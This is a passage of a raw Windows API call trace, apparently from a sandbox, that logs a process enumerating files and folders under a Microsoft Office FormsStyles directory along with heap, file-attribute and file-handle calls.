ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f078 [0069.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103fab8 [0069.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.556] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f098 [0069.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103fbc0 [0069.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.556] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.557] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.557] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f0b8 [0069.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103fcc8 [0069.557] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.557] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.557] GetLastError () returned 0x12 [0069.557] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.557] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.557] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.557] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.557] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.557] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.557] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.557] GetLastError () returned 0x12 [0069.557] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.557] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.558] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd03, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="")) returned 1 [0069.558] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casual.css", cAlternateFileName="")) returned 1 [0069.558] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert", cAlternateFileName="")) returned 1 [0069.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0069.559] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.559] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1071708 [0069.559] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1071708, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1071708, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.559] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1071708) returned 1 [0069.559] NtClose (Handle=0x190) returned 0x0 [0069.559] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.559] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.559] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.559] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.559] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.559] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.560] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.560] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.560] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.560] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.560] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.560] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f0d8 [0069.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103fdd0 [0069.560] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.560] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.560] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.561] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f0f8 [0069.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103fed8 [0069.561] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.561] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.561] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.561] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f118 [0069.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ffe0 [0069.561] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.561] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.561] GetLastError () returned 0x12 [0069.561] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.561] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.562] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.562] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.562] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.562] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.562] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.562] GetLastError () returned 0x12 [0069.562] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.562] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.562] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.562] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.562] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0069.562] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x173, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.css", cAlternateFileName="")) returned 1 [0069.562] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Earthy.css", cAlternateFileName="")) returned 1 [0069.562] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck", cAlternateFileName="")) returned 1 [0069.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.563] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1071708 [0069.563] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1071708, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1071708, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1071708) returned 1 [0069.563] NtClose (Handle=0x18c) returned 0x0 [0069.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.564] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.564] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, 